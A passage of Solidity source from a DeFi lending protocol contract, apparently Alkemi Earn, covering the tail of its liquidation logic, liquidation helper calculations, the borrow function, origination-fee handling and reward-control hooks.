// We re-use newSupplyIndex_CollateralAsset calculated above to help calculate currentSupplyBalance_LiquidatorCollateralAsset
(
err,
localResults.currentSupplyBalance_LiquidatorCollateralAsset
) = calculateBalance(
supplyBalance_LiquidatorCollateralAsset.principal,
supplyBalance_LiquidatorCollateralAsset.interestIndex,
localResults.newSupplyIndex_CollateralAsset
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_ACCUMULATED_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET
);
}
// We update the protocol's totalSupply for assetCollateral in 2 steps, first by adding target user's accumulated
// interest and then by adding the liquidator's accumulated interest.
// Step 1 of 2: We add the target user's supplyCurrent and subtract their checkpointedBalance
// (which has the desired effect of adding accrued interest from the target user)
(err, localResults.newTotalSupply_ProtocolCollateralAsset) = addThenSub(
collateralMarket.totalSupply,
localResults.currentSupplyBalance_TargetCollateralAsset,
supplyBalance_TargetCollateralAsset.principal
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_BORROWER_COLLATERAL_ASSET
);
}
// Step 2 of 2: We add the liquidator's supplyCurrent of collateral asset and subtract their checkpointedBalance
// (which has the desired effect of adding accrued interest from the calling user)
(err, localResults.newTotalSupply_ProtocolCollateralAsset) = addThenSub(
localResults.newTotalSupply_ProtocolCollateralAsset,
localResults.currentSupplyBalance_LiquidatorCollateralAsset,
supplyBalance_LiquidatorCollateralAsset.principal
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET
);
}
// We calculate maxCloseableBorrowAmount_TargetUnderwaterAsset, the amount of borrow that can be closed from the target user
// This is equal to the lesser of
// 1. borrowCurrent; (already calculated)
// 2. ONLY IF MARKET SUPPORTED: discountedRepayToEvenAmount:
// discountedRepayToEvenAmount=
// shortfall / [Oracle price for the borrow * (collateralRatio - liquidationDiscount - 1)]
// 3. discountedBorrowDenominatedCollateral
// [supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow)
// Here we calculate item 3. discountedBorrowDenominatedCollateral =
// [supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow)
(
err,
localResults.discountedBorrowDenominatedCollateral
) = calculateDiscountedBorrowDenominatedCollateral(
localResults.underwaterAssetPrice,
localResults.collateralPrice,
localResults.currentSupplyBalance_TargetCollateralAsset
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_BORROW_DENOMINATED_COLLATERAL_CALCULATION_FAILED
);
}
if (borrowMarket.isSupported) {
// Market is supported, so we calculate item 2 from above.
(
err,
localResults.discountedRepayToEvenAmount
) = calculateDiscountedRepayToEvenAmount(
targetAccount,
localResults.underwaterAssetPrice,
assetBorrow
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_DISCOUNTED_REPAY_TO_EVEN_AMOUNT_CALCULATION_FAILED
);
}
// We need to do a two-step min to select from all 3 values
// min1&3 = min(item 1, item 3)
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset = min(
localResults.currentBorrowBalance_TargetUnderwaterAsset,
localResults.discountedBorrowDenominatedCollateral
);
// min1&3&2 = min(min1&3, 2)
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset = min(
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset,
localResults.discountedRepayToEvenAmount
);
} else {
// Market is not supported, so we don't need to calculate item 2.
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset = min(
localResults.currentBorrowBalance_TargetUnderwaterAsset,
localResults.discountedBorrowDenominatedCollateral
);
}
// If liquidateBorrowAmount = -1, then closeBorrowAmount_TargetUnderwaterAsset = maxCloseableBorrowAmount_TargetUnderwaterAsset
if (assetBorrow != wethAddress) {
if (requestedAmountClose == uint256(-1)) {
localResults
.closeBorrowAmount_TargetUnderwaterAsset = localResults
.maxCloseableBorrowAmount_TargetUnderwaterAsset;
} else {
localResults
.closeBorrowAmount_TargetUnderwaterAsset = requestedAmountClose;
}
} else {
// To calculate the actual repay use has to do and reimburse the excess amount of ETH collected
if (
requestedAmountClose >
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset
) {
localResults
.closeBorrowAmount_TargetUnderwaterAsset = localResults
.maxCloseableBorrowAmount_TargetUnderwaterAsset;
(err, localResults.reimburseAmount) = sub(
requestedAmountClose,
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset
); // reimbursement called at the end to make sure function does not have any other errors
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED
);
}
} else {
localResults
.closeBorrowAmount_TargetUnderwaterAsset = requestedAmountClose;
}
}
// From here on, no more use of `requestedAmountClose`
// Verify closeBorrowAmount_TargetUnderwaterAsset <= maxCloseableBorrowAmount_TargetUnderwaterAsset
if (
localResults.closeBorrowAmount_TargetUnderwaterAsset >
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset
) {
return
fail(
Error.INVALID_CLOSE_AMOUNT_REQUESTED,
FailureInfo.LIQUIDATE_CLOSE_AMOUNT_TOO_HIGH
);
}
// seizeSupplyAmount_TargetCollateralAsset = closeBorrowAmount_TargetUnderwaterAsset * priceBorrow/priceCollateral *(1+liquidationDiscount)
(
err,
localResults.seizeSupplyAmount_TargetCollateralAsset
) = calculateAmountSeize(
localResults.underwaterAssetPrice,
localResults.collateralPrice,
localResults.closeBorrowAmount_TargetUnderwaterAsset
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.LIQUIDATE_AMOUNT_SEIZE_CALCULATION_FAILED
);
}
// We are going to ERC-20 transfer closeBorrowAmount_TargetUnderwaterAsset of assetBorrow into protocol
// Fail gracefully if asset is not approved or has insufficient balance
if (assetBorrow != wethAddress) {
// WETH is supplied to AlkemiEarnPublic contract in case of ETH automatically
err = checkTransferIn(
assetBorrow,
localResults.liquidator,
localResults.closeBorrowAmount_TargetUnderwaterAsset
);
if (err != Error.NO_ERROR) {
return
fail(err, FailureInfo.LIQUIDATE_TRANSFER_IN_NOT_POSSIBLE);
}
}
// We are going to repay the target user's borrow using the calling user's funds
// We update the protocol's totalBorrow for assetBorrow, by subtracting the target user's prior checkpointed balance,
// adding borrowCurrent, and subtracting closeBorrowAmount_TargetUnderwaterAsset.
// Subtract the `closeBorrowAmount_TargetUnderwaterAsset` from the `currentBorrowBalance_TargetUnderwaterAsset` to get `updatedBorrowBalance_TargetUnderwaterAsset`
(err, localResults.updatedBorrowBalance_TargetUnderwaterAsset) = sub(
localResults.currentBorrowBalance_TargetUnderwaterAsset,
localResults.closeBorrowAmount_TargetUnderwaterAsset
);
// We have ensured above that localResults.closeBorrowAmount_TargetUnderwaterAsset <= localResults.currentBorrowBalance_TargetUnderwaterAsset, so the sub can't underflow
assert(err == Error.NO_ERROR);
// We calculate the protocol's totalBorrow for assetBorrow by subtracting the user's prior checkpointed balance, adding user's updated borrow
// Note that, even though the liquidator is paying some of the borrow, if the borrow has accumulated a lot of interest since the last
// action, the updated balance *could* be higher than the prior checkpointed balance.
(
err,
localResults.newTotalBorrows_ProtocolUnderwaterAsset
) = addThenSub(
borrowMarket.totalBorrows,
localResults.updatedBorrowBalance_TargetUnderwaterAsset,
borrowBalance_TargeUnderwaterAsset.principal
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_TOTAL_BORROW_CALCULATION_FAILED_BORROWED_ASSET
);
}
// We need to calculate what the updated cash will be after we transfer in from liquidator
localResults.currentCash_ProtocolUnderwaterAsset = getCash(assetBorrow);
(err, localResults.updatedCash_ProtocolUnderwaterAsset) = add(
localResults.currentCash_ProtocolUnderwaterAsset,
localResults.closeBorrowAmount_TargetUnderwaterAsset
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_TOTAL_CASH_CALCULATION_FAILED_BORROWED_ASSET
);
}
// The utilization rate has changed! We calculate a new supply index, borrow index, supply rate, and borrow rate for assetBorrow
// (Please note that we don't need to do the same thing for assetCollateral because neither cash nor borrows of assetCollateral happen in this process.)
// We calculate the newSupplyIndex_UnderwaterAsset, but we already have newBorrowIndex_UnderwaterAsset so don't recalculate it.
(
err,
localResults.newSupplyIndex_UnderwaterAsset
) = calculateInterestIndex(
borrowMarket.supplyIndex,
borrowMarket.supplyRateMantissa,
borrowMarket.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_SUPPLY_INDEX_CALCULATION_FAILED_BORROWED_ASSET
);
}
(
rateCalculationResultCode,
localResults.newSupplyRateMantissa_ProtocolUnderwaterAsset
) = borrowMarket.interestRateModel.getSupplyRate(
assetBorrow,
localResults.updatedCash_ProtocolUnderwaterAsset,
localResults.newTotalBorrows_ProtocolUnderwaterAsset
);
if (rateCalculationResultCode != 0) {
return
failOpaque(
FailureInfo
.LIQUIDATE_NEW_SUPPLY_RATE_CALCULATION_FAILED_BORROWED_ASSET,
rateCalculationResultCode
);
}
(
rateCalculationResultCode,
localResults.newBorrowRateMantissa_ProtocolUnderwaterAsset
) = borrowMarket.interestRateModel.getBorrowRate(
assetBorrow,
localResults.updatedCash_ProtocolUnderwaterAsset,
localResults.newTotalBorrows_ProtocolUnderwaterAsset
);
if (rateCalculationResultCode != 0) {
return
failOpaque(
FailureInfo
.LIQUIDATE_NEW_BORROW_RATE_CALCULATION_FAILED_BORROWED_ASSET,
rateCalculationResultCode
);
}
// Now we look at collateral. We calculated target user's accumulated supply balance and the supply index above.
// Now we need to calculate the borrow index.
// We don't need to calculate new rates for the collateral asset because we have not changed utilization:
// - accumulating interest on the target user's collateral does not change cash or borrows
// - transferring seized amount of collateral internally from the target user to the liquidator does not change cash or borrows.
(
err,
localResults.newBorrowIndex_CollateralAsset
) = calculateInterestIndex(
collateralMarket.borrowIndex,
collateralMarket.borrowRateMantissa,
collateralMarket.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_BORROW_INDEX_CALCULATION_FAILED_COLLATERAL_ASSET
);
}
// We checkpoint the target user's assetCollateral supply balance, supplyCurrent - seizeSupplyAmount_TargetCollateralAsset at the updated index
(err, localResults.updatedSupplyBalance_TargetCollateralAsset) = sub(
localResults.currentSupplyBalance_TargetCollateralAsset,
localResults.seizeSupplyAmount_TargetCollateralAsset
);
// The sub won't underflow because because seizeSupplyAmount_TargetCollateralAsset <= target user's collateral balance
// maxCloseableBorrowAmount_TargetUnderwaterAsset is limited by the discounted borrow denominated collateral. That limits closeBorrowAmount_TargetUnderwaterAsset
// which in turn limits seizeSupplyAmount_TargetCollateralAsset.
assert(err == Error.NO_ERROR);
// We checkpoint the liquidating user's assetCollateral supply balance, supplyCurrent + seizeSupplyAmount_TargetCollateralAsset at the updated index
(
err,
localResults.updatedSupplyBalance_LiquidatorCollateralAsset
) = add(
localResults.currentSupplyBalance_LiquidatorCollateralAsset,
localResults.seizeSupplyAmount_TargetCollateralAsset
);
// We can't overflow here because if this would overflow, then we would have already overflowed above and failed
// with LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET
assert(err == Error.NO_ERROR);
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// Save borrow market updates
borrowMarket.blockNumber = block.number;
borrowMarket.totalBorrows = localResults
.newTotalBorrows_ProtocolUnderwaterAsset;
// borrowMarket.totalSupply does not need to be updated
borrowMarket.supplyRateMantissa = localResults
.newSupplyRateMantissa_ProtocolUnderwaterAsset;
borrowMarket.supplyIndex = localResults.newSupplyIndex_UnderwaterAsset;
borrowMarket.borrowRateMantissa = localResults
.newBorrowRateMantissa_ProtocolUnderwaterAsset;
borrowMarket.borrowIndex = localResults.newBorrowIndex_UnderwaterAsset;
// Save collateral market updates
// We didn't calculate new rates for collateralMarket (because neither cash nor borrows changed), just new indexes and total supply.
collateralMarket.blockNumber = block.number;
collateralMarket.totalSupply = localResults
.newTotalSupply_ProtocolCollateralAsset;
collateralMarket.supplyIndex = localResults
.newSupplyIndex_CollateralAsset;
collateralMarket.borrowIndex = localResults
.newBorrowIndex_CollateralAsset;
// Save user updates
localResults
.startingBorrowBalance_TargetUnderwaterAsset = borrowBalance_TargeUnderwaterAsset
.principal; // save for use in event
borrowBalance_TargeUnderwaterAsset.principal = localResults
.updatedBorrowBalance_TargetUnderwaterAsset;
borrowBalance_TargeUnderwaterAsset.interestIndex = localResults
.newBorrowIndex_UnderwaterAsset;
localResults
.startingSupplyBalance_TargetCollateralAsset = supplyBalance_TargetCollateralAsset
.principal; // save for use in event
supplyBalance_TargetCollateralAsset.principal = localResults
.updatedSupplyBalance_TargetCollateralAsset;
supplyBalance_TargetCollateralAsset.interestIndex = localResults
.newSupplyIndex_CollateralAsset;
localResults
.startingSupplyBalance_LiquidatorCollateralAsset = supplyBalance_LiquidatorCollateralAsset
.principal; // save for use in event
supplyBalance_LiquidatorCollateralAsset.principal = localResults
.updatedSupplyBalance_LiquidatorCollateralAsset;
supplyBalance_LiquidatorCollateralAsset.interestIndex = localResults
.newSupplyIndex_CollateralAsset;
// We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above)
if (assetBorrow != wethAddress) {
// WETH is supplied to AlkemiEarnPublic contract in case of ETH automatically
revertEtherToUser(msg.sender, msg.value);
err = doTransferIn(
assetBorrow,
localResults.liquidator,
localResults.closeBorrowAmount_TargetUnderwaterAsset
);
if (err != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err, FailureInfo.LIQUIDATE_TRANSFER_IN_FAILED);
}
} else {
if (msg.value == requestedAmountClose) {
uint256 supplyError = supplyEther(
localResults.liquidator,
localResults.closeBorrowAmount_TargetUnderwaterAsset
);
//Repay excess funds
if (localResults.reimburseAmount > 0) {
revertEtherToUser(
localResults.liquidator,
localResults.reimburseAmount
);
}
if (supplyError != 0) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.WETH_ADDRESS_NOT_SET_ERROR,
FailureInfo.WETH_ADDRESS_NOT_SET_ERROR
);
}
} else {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.ETHER_AMOUNT_MISMATCH_ERROR,
FailureInfo.ETHER_AMOUNT_MISMATCH_ERROR
);
}
}
supplyOriginationFeeAsAdmin(
assetBorrow,
localResults.liquidator,
localResults.closeBorrowAmount_TargetUnderwaterAsset,
localResults.newSupplyIndex_UnderwaterAsset
);
emit BorrowLiquidated(
localResults.targetAccount,
localResults.assetBorrow,
localResults.currentBorrowBalance_TargetUnderwaterAsset,
localResults.closeBorrowAmount_TargetUnderwaterAsset,
localResults.liquidator,
localResults.assetCollateral,
localResults.seizeSupplyAmount_TargetCollateralAsset
);
return uint256(Error.NO_ERROR); // success
}
/**
* @dev This should ONLY be called if market is supported. It returns shortfall / [Oracle price for the borrow * (collateralRatio - liquidationDiscount - 1)]
* If the market isn't supported, we support liquidation of asset regardless of shortfall because we want borrows of the unsupported asset to be closed.
* Note that if collateralRatio = liquidationDiscount + 1, then the denominator will be zero and the function will fail with DIVISION_BY_ZERO.
* @return Return values are expressed in 1e18 scale
*/
function calculateDiscountedRepayToEvenAmount(
address targetAccount,
Exp memory underwaterAssetPrice,
address assetBorrow
) internal view returns (Error, uint256) {
Error err;
Exp memory _accountLiquidity; // unused return value from calculateAccountLiquidity
Exp memory accountShortfall_TargetUser;
Exp memory collateralRatioMinusLiquidationDiscount; // collateralRatio - liquidationDiscount
Exp memory discountedCollateralRatioMinusOne; // collateralRatioMinusLiquidationDiscount - 1, aka collateralRatio - liquidationDiscount - 1
Exp memory discountedPrice_UnderwaterAsset;
Exp memory rawResult;
// we calculate the target user's shortfall, denominated in Ether, that the user is below the collateral ratio
(
err,
_accountLiquidity,
accountShortfall_TargetUser
) = calculateAccountLiquidity(targetAccount);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, collateralRatioMinusLiquidationDiscount) = subExp(
collateralRatio,
liquidationDiscount
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, discountedCollateralRatioMinusOne) = subExp(
collateralRatioMinusLiquidationDiscount,
Exp({mantissa: mantissaOne})
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, discountedPrice_UnderwaterAsset) = mulExp(
underwaterAssetPrice,
discountedCollateralRatioMinusOne
);
// calculateAccountLiquidity multiplies underwaterAssetPrice by collateralRatio
// discountedCollateralRatioMinusOne < collateralRatio
// so if underwaterAssetPrice * collateralRatio did not overflow then
// underwaterAssetPrice * discountedCollateralRatioMinusOne can't overflow either
assert(err == Error.NO_ERROR);
/* The liquidator may not repay more than what is allowed by the closeFactor */
uint256 borrowBalance = getBorrowBalance(targetAccount, assetBorrow);
Exp memory maxClose;
(err, maxClose) = mulScalar(
Exp({mantissa: closeFactorMantissa}),
borrowBalance
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, rawResult) = divExp(maxClose, discountedPrice_UnderwaterAsset);
// It's theoretically possible an asset could have such a low price that it truncates to zero when discounted.
if (err != Error.NO_ERROR) {
return (err, 0);
}
return (Error.NO_ERROR, truncate(rawResult));
}
/**
* @dev discountedBorrowDenominatedCollateral = [supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow)
* @return Return values are expressed in 1e18 scale
*/
function calculateDiscountedBorrowDenominatedCollateral(
Exp memory underwaterAssetPrice,
Exp memory collateralPrice,
uint256 supplyCurrent_TargetCollateralAsset
) internal view returns (Error, uint256) {
// To avoid rounding issues, we re-order and group the operations so we do 1 division and only at the end
// [supplyCurrent * (Oracle price for the collateral)] / [ (1 + liquidationDiscount) * (Oracle price for the borrow) ]
Error err;
Exp memory onePlusLiquidationDiscount; // (1 + liquidationDiscount)
Exp memory supplyCurrentTimesOracleCollateral; // supplyCurrent * Oracle price for the collateral
Exp memory onePlusLiquidationDiscountTimesOracleBorrow; // (1 + liquidationDiscount) * Oracle price for the borrow
Exp memory rawResult;
(err, onePlusLiquidationDiscount) = addExp(
Exp({mantissa: mantissaOne}),
liquidationDiscount
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, supplyCurrentTimesOracleCollateral) = mulScalar(
collateralPrice,
supplyCurrent_TargetCollateralAsset
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, onePlusLiquidationDiscountTimesOracleBorrow) = mulExp(
onePlusLiquidationDiscount,
underwaterAssetPrice
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, rawResult) = divExp(
supplyCurrentTimesOracleCollateral,
onePlusLiquidationDiscountTimesOracleBorrow
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
return (Error.NO_ERROR, truncate(rawResult));
}
/**
* @dev returns closeBorrowAmount_TargetUnderwaterAsset * (1+liquidationDiscount) * priceBorrow/priceCollateral
* @return Return values are expressed in 1e18 scale
*/
function calculateAmountSeize(
Exp memory underwaterAssetPrice,
Exp memory collateralPrice,
uint256 closeBorrowAmount_TargetUnderwaterAsset
) internal view returns (Error, uint256) {
// To avoid rounding issues, we re-order and group the operations to move the division to the end, rather than just taking the ratio of the 2 prices:
// underwaterAssetPrice * (1+liquidationDiscount) *closeBorrowAmount_TargetUnderwaterAsset) / collateralPrice
// re-used for all intermediate errors
Error err;
// (1+liquidationDiscount)
Exp memory liquidationMultiplier;
// assetPrice-of-underwaterAsset * (1+liquidationDiscount)
Exp memory priceUnderwaterAssetTimesLiquidationMultiplier;
// priceUnderwaterAssetTimesLiquidationMultiplier * closeBorrowAmount_TargetUnderwaterAsset
// or, expanded:
// underwaterAssetPrice * (1+liquidationDiscount) * closeBorrowAmount_TargetUnderwaterAsset
Exp memory finalNumerator;
// finalNumerator / priceCollateral
Exp memory rawResult;
(err, liquidationMultiplier) = addExp(
Exp({mantissa: mantissaOne}),
liquidationDiscount
);
// liquidation discount will be enforced < 1, so 1 + liquidationDiscount can't overflow.
assert(err == Error.NO_ERROR);
(err, priceUnderwaterAssetTimesLiquidationMultiplier) = mulExp(
underwaterAssetPrice,
liquidationMultiplier
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, finalNumerator) = mulScalar(
priceUnderwaterAssetTimesLiquidationMultiplier,
closeBorrowAmount_TargetUnderwaterAsset
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, rawResult) = divExp(finalNumerator, collateralPrice);
if (err != Error.NO_ERROR) {
return (err, 0);
}
return (Error.NO_ERROR, truncate(rawResult));
}
/**
* @notice Users borrow assets from the protocol to their own address
* @param asset The market asset to borrow
* @param amount The amount to borrow
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function borrow(address asset, uint256 amount)
public
nonReentrant
returns (uint256)
{
if (paused) {
return
fail(Error.CONTRACT_PAUSED, FailureInfo.BORROW_CONTRACT_PAUSED);
}
refreshAlkBorrowIndex(asset, msg.sender, false);
BorrowLocalVars memory localResults;
Market storage market = markets[asset];
Balance storage borrowBalance = borrowBalances[msg.sender][asset];
Error err;
uint256 rateCalculationResultCode;
// Fail if market not supported
if (!market.isSupported) {
return
fail(
Error.MARKET_NOT_SUPPORTED,
FailureInfo.BORROW_MARKET_NOT_SUPPORTED
);
}
// We calculate the newBorrowIndex, user's borrowCurrent and borrowUpdated for the asset
(err, localResults.newBorrowIndex) = calculateInterestIndex(
market.borrowIndex,
market.borrowRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.BORROW_NEW_BORROW_INDEX_CALCULATION_FAILED
);
}
(err, localResults.userBorrowCurrent) = calculateBalance(
borrowBalance.principal,
borrowBalance.interestIndex,
localResults.newBorrowIndex
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED
);
}
// Calculate origination fee.
(err, localResults.borrowAmountWithFee) = calculateBorrowAmountWithFee(
amount
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.BORROW_ORIGINATION_FEE_CALCULATION_FAILED
);
}
uint256 orgFeeBalance = localResults.borrowAmountWithFee - amount;
// Add the `borrowAmountWithFee` to the `userBorrowCurrent` to get `userBorrowUpdated`
(err, localResults.userBorrowUpdated) = add(
localResults.userBorrowCurrent,
localResults.borrowAmountWithFee
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED
);
}
// We calculate the protocol's totalBorrow by subtracting the user's prior checkpointed balance, adding user's updated borrow with fee
(err, localResults.newTotalBorrows) = addThenSub(
market.totalBorrows,
localResults.userBorrowUpdated,
borrowBalance.principal
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.BORROW_NEW_TOTAL_BORROW_CALCULATION_FAILED
);
}
// Check customer liquidity
(
err,
localResults.accountLiquidity,
localResults.accountShortfall
) = calculateAccountLiquidity(msg.sender);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.BORROW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED
);
}
// Fail if customer already has a shortfall
if (!isZeroExp(localResults.accountShortfall)) {
return
fail(
Error.INSUFFICIENT_LIQUIDITY,
FailureInfo.BORROW_ACCOUNT_SHORTFALL_PRESENT
);
}
// Would the customer have a shortfall after this borrow (including origination fee)?
// We calculate the eth-equivalent value of (borrow amount + fee) of asset and fail if it exceeds accountLiquidity.
// This implements: `[(collateralRatio*oraclea*borrowAmount)*(1+borrowFee)] > accountLiquidity`
(
err,
localResults.ethValueOfBorrowAmountWithFee
) = getPriceForAssetAmountMulCollatRatio(
asset,
localResults.borrowAmountWithFee
);
if (err != Error.NO_ERROR) {
return
fail(err, FailureInfo.BORROW_AMOUNT_VALUE_CALCULATION_FAILED);
}
if (
lessThanExp(
localResults.accountLiquidity,
localResults.ethValueOfBorrowAmountWithFee
)
) {
return
fail(
Error.INSUFFICIENT_LIQUIDITY,
FailureInfo.BORROW_AMOUNT_LIQUIDITY_SHORTFALL
);
}
// Fail gracefully if protocol has insufficient cash
localResults.currentCash = getCash(asset);
// We need to calculate what the updated cash will be after we transfer out to the user
(err, localResults.updatedCash) = sub(localResults.currentCash, amount);
if (err != Error.NO_ERROR) {
// Note: we ignore error here and call this token insufficient cash
return
fail(
Error.TOKEN_INSUFFICIENT_CASH,
FailureInfo.BORROW_NEW_TOTAL_CASH_CALCULATION_FAILED
);
}
// The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it.
// We calculate the newSupplyIndex, but we have newBorrowIndex already
(err, localResults.newSupplyIndex) = calculateInterestIndex(
market.supplyIndex,
market.supplyRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.BORROW_NEW_SUPPLY_INDEX_CALCULATION_FAILED
);
}
(rateCalculationResultCode, localResults.newSupplyRateMantissa) = market
.interestRateModel
.getSupplyRate(
asset,
localResults.updatedCash,
localResults.newTotalBorrows
);
if (rateCalculationResultCode != 0) {
return
failOpaque(
FailureInfo.BORROW_NEW_SUPPLY_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
(rateCalculationResultCode, localResults.newBorrowRateMantissa) = market
.interestRateModel
.getBorrowRate(
asset,
localResults.updatedCash,
localResults.newTotalBorrows
);
if (rateCalculationResultCode != 0) {
return
failOpaque(
FailureInfo.BORROW_NEW_BORROW_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// Save market updates
market.blockNumber = block.number;
market.totalBorrows = localResults.newTotalBorrows;
market.supplyRateMantissa = localResults.newSupplyRateMantissa;
market.supplyIndex = localResults.newSupplyIndex;
market.borrowRateMantissa = localResults.newBorrowRateMantissa;
market.borrowIndex = localResults.newBorrowIndex;
// Save user updates
localResults.startingBalance = borrowBalance.principal; // save for use in `BorrowTaken` event
borrowBalance.principal = localResults.userBorrowUpdated;
borrowBalance.interestIndex = localResults.newBorrowIndex;
originationFeeBalance[msg.sender][asset] += orgFeeBalance;
if (asset != wethAddress) {
// Withdrawal should happen as Ether directly
// We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above)
err = doTransferOut(asset, msg.sender, amount);
if (err != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err, FailureInfo.BORROW_TRANSFER_OUT_FAILED);
}
} else {
withdrawEther(msg.sender, amount); // send Ether to user
}
emit BorrowTaken(
msg.sender,
asset,
amount,
localResults.startingBalance,
localResults.borrowAmountWithFee,
borrowBalance.principal
);
return uint256(Error.NO_ERROR); // success
}
/**
* @notice supply `amount` of `asset` (which must be supported) to `admin` in the protocol
* @dev add amount of supported asset to admin's account
* @param asset The market asset to supply
* @param amount The amount to supply
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function supplyOriginationFeeAsAdmin(
address asset,
address user,
uint256 amount,
uint256 newSupplyIndex
) private {
refreshAlkSupplyIndex(asset, admin, false);
uint256 originationFeeRepaid = 0;
if (originationFeeBalance[user][asset] != 0) {
if (amount < originationFeeBalance[user][asset]) {
originationFeeRepaid = amount;
} else {
originationFeeRepaid = originationFeeBalance[user][asset];
}
Balance storage balance = supplyBalances[admin][asset];
SupplyLocalVars memory localResults; // Holds all our uint calculation results
Error err; // Re-used for every function call that includes an Error in its return value(s).
originationFeeBalance[user][asset] -= originationFeeRepaid;
(err, localResults.userSupplyCurrent) = calculateBalance(
balance.principal,
balance.interestIndex,
newSupplyIndex
);
revertIfError(err);
(err, localResults.userSupplyUpdated) = add(
localResults.userSupplyCurrent,
originationFeeRepaid
);
revertIfError(err);
// We calculate the protocol's totalSupply by subtracting the user's prior checkpointed balance, adding user's updated supply
(err, localResults.newTotalSupply) = addThenSub(
markets[asset].totalSupply,
localResults.userSupplyUpdated,
balance.principal
);
revertIfError(err);
// Save market updates
markets[asset].totalSupply = localResults.newTotalSupply;
// Save user updates
localResults.startingBalance = balance.principal;
balance.principal = localResults.userSupplyUpdated;
balance.interestIndex = newSupplyIndex;
emit SupplyOrgFeeAsAdmin(
admin,
asset,
originationFeeRepaid,
localResults.startingBalance,
localResults.userSupplyUpdated
);
}
}
/**
* @notice Set the address of the Reward Control contract to be triggered to accrue ALK rewards for participants
* @param _rewardControl The address of the underlying reward control contract
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function setRewardControlAddress(address _rewardControl)
external
returns (uint256)
{
// Check caller = admin
require(
msg.sender == admin,
"SET_REWARD_CONTROL_ADDRESS_ADMIN_CHECK_FAILED"
);
require(
address(rewardControl) != _rewardControl,
"The same Reward Control address"
);
require(
_rewardControl != address(0),
"RewardControl address cannot be empty"
);
rewardControl = RewardControlInterface(_rewardControl);
return uint256(Error.NO_ERROR); // success
}
/**
* @notice Trigger the underlying Reward Control contract to accrue ALK supply rewards for the supplier on the specified market
* @param market The address of the market to accrue rewards
* @param supplier The address of the supplier to accrue rewards
* @param isVerified Verified / Public protocol
*/
function refreshAlkSupplyIndex(
address market,
address supplier,
bool isVerified
) internal {
if (address(rewardControl) == address(0)) {
return;
}
rewardControl.refreshAlkSupplyIndex(market, supplier, isVerified);
}
/**
* @notice Trigger the underlying Reward Control contract to accrue ALK borrow rewards for the borrower on the specified market
* @param market The address of the market to accrue rewards
* @param borrower The address of the borrower to accrue rewards
* @param isVerified Verified / Public protocol
*/
function refreshAlkBorrowIndex(
address market,
